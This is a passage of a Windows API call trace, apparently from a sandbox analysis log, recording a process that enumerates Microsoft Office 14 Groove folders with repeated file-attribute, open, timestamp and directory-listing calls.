office\\office14\\groove\\sounds\\places"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0247.179] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0247.179] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eafb8, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eafb8, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0247.180] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0247.184] GetLastError () returned 0x12 [0247.184] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0247.184] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.184] GetLastError () returned 0x12 [0247.184] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0247.185] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0247.228] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0247.228] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eafb8, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eafb8, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0247.228] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0247.273] GetLastError () returned 0x12 [0247.273] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0247.273] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0247.273] GetLastError () returned 0x12 [0247.273] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.274] GetLastError () returned 0x12 [0247.274] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0247.274] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0247.320] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0247.320] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0247.320] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0247.462] GetLastError () returned 0x12 [0247.462] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0247.462] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0247.463] GetLastError () returned 0x12 [0247.463] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0247.507] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0247.507] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0247.507] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0247.507] GetLastError () returned 0x12 [0247.507] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0247.508] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0247.510] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0247.510] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0247.510] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0247.554] GetLastError () returned 0x12 [0247.554] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0247.554] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0247.614] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0247.614] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0247.614] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0247.643] GetLastError () returned 0x12 [0247.643] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0247.643] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.643] GetLastError () returned 0x12 [0247.643] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0247.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0247.672] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0247.672] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0247.672] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0247.743] GetLastError () returned 0x12 [0247.743] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0247.744] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0247.744] GetLastError () returned 0x12 [0247.744] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.745] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0247.745] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0247.745] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0247.745] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0247.745] GetLastError () returned 0x12 [0247.745] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0247.745] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.746] GetLastError () returned 0x12 [0247.746] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0247.746] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0247.770] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0247.770] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0247.770] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0247.771] GetLastError () returned 0x12 [0247.771] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0247.771] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0247.771] GetLastError () returned 0x12 [0247.771] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.771] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0247.792] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0247.792] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0247.792] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0247.792] GetLastError () returned 0x12 [0247.792] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0247.792] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.792] GetLastError () returned 0x12 [0247.792] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0247.793] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0247.793] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0247.793] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0247.793] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0247.861] GetLastError () returned 0x12 [0247.861] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0247.861] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0247.861] GetLastError () returned 0x12 [0247.861] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.862] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0247.897] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0247.897] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0247.897] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0247.959] GetLastError () returned 0x12 [0247.959] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0247.959] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.960] GetFileAttributesExW (in: lpFileName="C:\\Program 